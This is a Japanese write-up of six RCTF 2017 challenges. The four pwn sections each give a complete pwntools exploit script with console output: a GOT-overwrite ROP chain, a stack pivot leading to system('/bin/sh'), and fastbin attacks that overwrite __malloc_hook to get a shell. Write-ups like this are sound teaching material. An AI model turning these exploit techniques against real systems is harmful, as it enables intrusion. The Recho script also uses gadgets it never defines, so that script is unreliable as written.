RCTF 2017 writeup
はじめに
TokyoWesternsで参加して4581ptで15位だった。自分はそのうち6問を解いて1965ptだった。 解いた問題は、Sign In、easyre、Recho、RCalc、RNote、RNote2で、そのwriteupを書いていく。
Sign In (Misc 32pt)
IRCに入るだけ
RCTF{Welcome_To_RCTF_2017}
easyre (Revrse 153pt)
UPXで圧縮されていたので、まずは解凍した。 gdbで適当に処理を追いながら、flagらしい文字列を送信したら当たっていた。
RCTF{rhelheg}
Recho (Pwn 370pt)
はじめにsizeを指定するためのread()があり、指定したsize分だけまたread()がある。それをずっと繰り返しており、sizeの入力がなかったとき(EOFを送る)にmainの処理が終わる。 SSPがないため、BOFを起こせるが、ネットワーク越しだと一回EOFを送るとその先の入力が行えなくなる。そのため一回のROPでflagを読む必要がある。 方針は単純で、read()のGOTの値を適当に書き換えてopen()にして、open()->read()->write()を行った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "recho.2017.teamrois.cn" RPORT = 9527 LHOST = "127.0.0.1" LPORT = 9527 # libc = ELF('') elf = ELF('./Recho') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Recho'], execute=execute) else: conn = process(['./Recho']) # conn = process(['./Recho'], env={'LD_PRELOAD': ''}) bufsize = 48 # without saved ebp write_plt = elf.symbols['write'] read_plt = elf.symbols['read'] write_got = elf.got['write'] read_got = elf.got['read'] pop_rax = 0x004006fc #: pop rax ; ret ; (1 found) pop_rdi = 0x004008a3 #: pop rdi ; ret ; (1 found) pop_rdx = 0x004006fe #: pop rdx ; ret ; (1 found) pop_rsi_r15 = 0x004008a1#: pop rsi ; pop r15 ; ret ; (1 found) call_rax = 0x004005b0 #: call rax ; (1 found) add_rdi_al = 0x0040070d #: add byte [rdi], al ; ret ; (1 found) flag_addr = 0x601058 bss = 0x00601000 + 0x100 # preparing for exploitation log.info('Pwning') conn.recvuntil('Welcome to Recho server!\n') payload = "A" * bufsize payload += p64(1) # modify GOT of 'read' to 'open' rop = '' rop += p64(pop_rdi) rop += p64(read_got) rop += p64(pop_rax) rop += p64(0xe0) # -0x20 rop += p64(add_rdi_al) rop += p64(pop_rdi) rop += p64(read_got+1) rop += p64(pop_rax) rop += p64(0xfe) # -2 rop += p64(add_rdi_al) # open('flag', constants.O_RDONLY) rop += p64(pop_rdi) rop += p64(flag_addr) rop += p64(pop_rsi_r15) rop += p64(constants.O_RDONLY) rop += p64(0x4141414142424242) rop += p64(pop_r12_3) rop += p64(read_got) rop += p64(read_got) rop += p64(read_got) rop += p64(read_got) rop += p64(call_r12) rop += p64(0xdeadbeaf) * 7 # modify GOT of 'open' to 'read' rop += p64(pop_rdi) rop += p64(read_got) rop += p64(pop_rax) rop += p64(0x20) # -0x20 rop += p64(add_rdi_al) rop += p64(pop_rdi) rop += p64(read_got+1) rop += p64(pop_rax) rop += p64(0x2) # -2 rop += p64(add_rdi_al) # read(fd, bss, 0x100) rop += p64(pop_rax) rop += p64(read_plt) rop += p64(pop_rdi) rop += p64(3) rop += p64(pop_rsi_r15) rop += p64(bss) rop += p64(0xdeadbeaf) rop += p64(pop_rdx) rop += p64(0x100) rop += p64(call_rax) rop += p64(0x0) # write(stdout, bss, 0x100) rop += p64(pop_rax) rop += p64(write_plt) rop += p64(pop_rdi) rop += p64(constants.STDOUT_FILENO) rop += p64(pop_rsi_r15) rop += p64(bss) rop += p64(0x11) rop += p64(pop_rdx) rop += p64(0x100) rop += p64(call_rax) payload += rop conn.sendline(str(len(payload)).ljust(0xf, '\x00')) conn.send(payload) conn.shutdown('send') conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/RCTF2017/Recho/Recho/Recho' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to recho.2017.teamrois.cn on port 9527: Done [*] Pwning [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10RCTF{l0st_1n_th3_3ch0_d6794b} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Closed connection to recho.2017.teamrois.cn port 9527 [*] Got EOF while reading in interactive
RCalc (Pwn 350pt)
scanf(“%s”)があり、BOFが起きる。自前のSSPが実装されているが、計算結果の保存を繰り返し行うことでcanaryを書き潰すことができるので、無いも同然。 scanfで区切られる文字に注意しながら、ROPした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "rcalc.2017.teamrois.cn" RPORT = 2333 LHOST = "127.0.0.1" LPORT = 2333 libc = ELF('./libc.so.6') elf = ELF('./RCalc') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./RCalc'], execute=execute) else: conn = process(['./RCalc']) # conn = process(['./RCalc'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation puts_got = elf.got['puts'] read_got = elf.got['read'] puts_offset = libc.symbols['puts'] system_offset = libc.symbols['system'] binsh_offset = next(libc.search('/bin/sh')) leave_ret = 0x00401034 #: leave ; ret ; (1 found) csu_init1 = 0x401100 # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) csu_init2 = 0x40111a # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) pop_rdi = 0x00401123 #: pop rdi ; ret ; (1 found) bss = 0x602200 def Add(int1, int2, flag): conn.sendlineafter('Your choice:', '1') conn.sendlineafter('input 2 integer: ', str(int1)) conn.sendline(str(int2)) if flag: conn.sendlineafter('Save the result? ', 'yes') else: conn.sendlineafter('Save the result? ', 'no') log.info('Pwning') name = 'A' * 0x108 name += p64(0x2) name += "X" * 8 # read(stdin, bss, 0x100) and stack pivot rop = '' rop += p64(csu_init2) rop += p64(0x070400) # rbx rop += p64(0x070400+1) # rbp rop += p64(0x280050) # r12 rop += p64(0x100) # r13 rop += p64(bss) rop += p64(0x0) rop += p64(csu_init1) rop += "Z" * 8 rop += "Z" * 8 rop += p64(bss - 8) rop += "Z" * (8 * 4) rop += p64(leave_ret) payload = name + rop conn.sendlineafter('Input your name pls: ', payload) for i in range(0x20 + 2): Add(i, i, True) Add(1, 1, True) conn.sendlineafter('Your choice:', '5'.ljust(0xf, '\x00')) # puts(puts_got) rop = '' rop += p64(csu_init2) rop += p64(0x0) # rbx rop += p64(0x1) # rbp rop += p64(puts_got) # r12 rop += p64(0xdeadbeaf) # r13 rop += p64(0xdeadbeaf) rop += p64(puts_got) rop += p64(csu_init1) rop += "Z" * 8 # read(stdin, bss+a, 0x100) and stack pivot rop += p64(0x0) # rbx rop += p64(0x1) # rbp rop += p64(read_got) # r12 rop += p64(0x100) # r13 rop += p64(bss+0x100) rop += p64(0) rop += p64(csu_init1) rop += "Z" * 8 rop += "Z" * 8 rop += p64(bss - 8 + 0x100) rop += "Z" * (8 * 4) rop += p64(leave_ret) conn.sendline(rop) libc_base = u64(conn.recv(6).ljust(8, '\x00')) - puts_offset log.info('libc_base = {:#x}'.format(libc_base)) rop = '' rop += p64(pop_rdi) rop += p64(libc_base + binsh_offset) rop += p64(libc_base + system_offset) conn.sendline(rop) conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/RCTF2017/RCalc/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/hama/ctf/RCTF2017/RCalc/RCalc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Opening connection to rcalc.2017.teamrois.cn on port 2333: Done [*] Pwning [*] libc_base = 0x7f9b1a4f4000 [*] Switching to interactive mode $ cat flag RCTF{Y0u_kn0w_th3_m4th_9e78cc}
RNote (Pwn 454pt)
bss上に存在する管理領域で、off-by-one BOFが存在する。書き潰せる箇所は、malloc()で取得したポインタなので、ある程度任意の箇所でfree()ができる。 double freeができるので、fastbin dupからfastbin attackをした。__malloc_hookを書き換えてone gadget RCEを使った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "rnote.2017.teamrois.cn" RPORT = 7777 LHOST = "127.0.0.1" LPORT = 7777 # libc = ELF('./libc.so.6') elf = ELF('./RNote') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./RNote'], execute=execute) else: conn = process(['./RNote']) # conn = process(['./RNote'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def add_note(size, name, content): conn.sendlineafter('Your choice: ', '1') conn.sendlineafter('Please input the note size: ', str(size)) conn.sendafter('Please input the title: ', name) conn.sendafter('Please input the content: ', content) def delete_note(idx): conn.sendlineafter('Your choice: ', '2') conn.sendlineafter('Which Note do you want to delete: ', str(idx)) def show_note(idx): conn.sendlineafter('Your choice: ', '3') conn.sendlineafter('Which Note do you want to show: ', str(idx)) conn.recvuntil('note title: ') name = conn.recvline() conn.recvuntil('note content: ') content = conn.recvuntil('***********************') return (name, content) log.info('Pwning') # idx = 0 add_note(0xa0, '\x10'*0x11, 'b'*0xa0) (buf, _) = show_note(0) buf = buf.split('\n')[0] heap_base = u64(buf[16:].ljust(0x8, '\x00')) - 0x10 log.info('heap_base = {:#x}'.format(heap_base)) add_note(0x40, 'hoge\n', 'c'*0x40) # idx=1 delete_note(0) add_note(0xa0, 'fuga\n', '\n') # idx=0 (_, buf) = show_note(0) libc_base = u64(buf[:6].ljust(8, '\x00')) - 0x3c3b0a log.info('libc_base = {:#x}'.format(libc_base)) add_note(0x60, 'AAAAAA\n', 'c'*0x60) # idx=2 add_note(0x60, 'BBBBBB\n', 'c'*0x60) # idx=3 delete_note(2) add_note(0x10, '\x10'*0x11, 'fd') # idx=2 delete_note(3) delete_note(2) offset = 0x3c3af5-8 add_note(0x60, 'fastbin\n', p64(libc_base + offset) + "\n") add_note(0x60, 'a\n', 'a\n') add_note(0x60, 'a\n', 'a\n') payload = '' payload = '\x00'*3 payload += p64(0) * 2 payload += p64(libc_base+0xf0567) #payload = payload.ljust(0x67,'x') add_note(0x68, 'a\n', payload + '\n') conn.interactive()
% python exploit.py r [*] '/home/hama/ctf/RCTF2017/RNote/RNote' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [+] Opening connection to rnote.2017.teamrois.cn on port 7777: Done [*] Pwning [*] heap_base = 0x1201000 [*] libc_base = 0x7f979d363000 [*] Switching to interactive mode *********************** 1.Add new note 2.Delete a note 3.Show a note 4.Exit *********************** Your choice: $ 1 $ 10 Please input the note size: $ ls RNote bin dev flag lib lib32 lib64 $ cat flag RCTF{just_A_0ne_byt3_0ve3fl0w_0_233333}
RNote2 (Pwn 606pt)
expand機能でめんどくさい感じのバグがあり、直下のchunkのsizeを上書きできる。unsortedbinにつながっているchunkのsizeをより大きい値で上書きしてoverlapを起こした。 適当にfastbin attackをして、one gadget RCEを使った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' # output verbose log RHOST = "rnote2.2017.teamrois.cn" RPORT = 6666 LHOST = "127.0.0.1" LPORT = 6666 # libc = ELF('./libc.so.6') elf = ELF('./RNote2') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./RNote2'], execute=execute) else: conn = process(['./RNote2']) # conn = process(['./RNote2'], env={'LD_PRELOAD': './libc.so.6'}) def add_note(length, content): conn.sendlineafter('Your choice:', '1') conn.sendafter('Input the note length:', str(length)) conn.sendafter('Input the note content:', content) def delete_note(idx): conn.sendlineafter('Your choice:', '2') conn.sendlineafter('Which note do you want to delete?', str(idx)) def list_note(): conn.sendlineafter('Your choice:', '3') def edit_note(idx, content): conn.sendlineafter('Your choice:', '4') conn.sendlineafter('Which note do you want to edit?', str(idx)) conn.sendafter('Input new content:', content) def expand_note(idx, length, content): conn.sendlineafter('Your choice:', '5') conn.sendlineafter('Which note do you want to expand?', str(idx)) conn.sendlineafter('How long do you want to expand?', str(length)) conn.sendafter('Input content you want to expand', content) # preparing for exploitation log.info('Pwning') # leak libc add_note(0x90+8, 'a'*0x98) # id = 1 add_note(0x90+8, 'a'*0x98) # id = 1 delete_note(1) add_note(0x20, '\n') list_note() conn.recvuntil('Note content: ') conn.recvuntil('Note content: ') libc_base = u64(conn.recv(6).ljust(8, '\x00')) - 0x3c3c0a log.info('libc_base = {:#x}'.format(libc_base)) # leak heap_base add_note(0x38, '\n') delete_note(2) delete_note(2) add_note(0x28, 'b'*0x10+'\n') list_note() conn.recvuntil('b'*0x10) heap_base = u64(conn.recv(6).ljust(8, '\x00')) - 0xa log.info('heap_base = {:#x}'.format(heap_base)) add_note(0x38, 'hoge\n') # id = 3 add_note(0x100, 'd'*0x100) add_note(0x68, 'e'*0x68) delete_note(4) delete_note(3) add_note(0x28, 'f'*0x28) expand_note(4,0x80, '\xff'*0x80) delete_note(3) payload = 'x' * 0x88 payload += p64(0x31) payload += p64(0x0) payload += p64(0xc8) payload += p64(0x0) payload += p64(heap_base) payload += p64(heap_base) payload += p64(0x71) payload += p64(libc_base + 0x3c3aed) payload += "\n" add_note(0xd0-8, payload) add_note(0x70-8, '\n') payload = '\x00' * 3 payload += p64(0x0) * 2 payload += p64(libc_base + 0xf5b10) add_note(0x70-8, payload +'\n') conn.interactive()
% python exploit.py r [!] Couldn't find relocations against PLT to get symbols [*] '/home/hama/ctf/RCTF2017/RNote2-dir/RNote2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to rnote2.2017.teamrois.cn on port 6666: Done [*] Pwning [*] libc_base = 0x7fa60f4da000 [*] heap_base = 0x55a6b6dbe000 [*] Switching to interactive mode *********************** 1.Add new note 2.Delete a note 3.List all note 4.Edit a note 5.Expand a note 6.Exit *********************** Your choice: $ 1 Input the note length: $ 10 $ ls RNote2 bin dev flag lib lib32 lib64 $ cat flag RCTF{f0rt1fy_th3_pr0gr4m_dud3!!!!!!!}
おわりに
ダラダラと解いていたので時間がかかった。難易度的には初心者向けよりちょっと上ぐらいに感じた。aiRcraftは時間がなかったので諦めた。solve数的には解けたと思うので速度を上げたい。 あとは、もっとrevをできるようになりたい。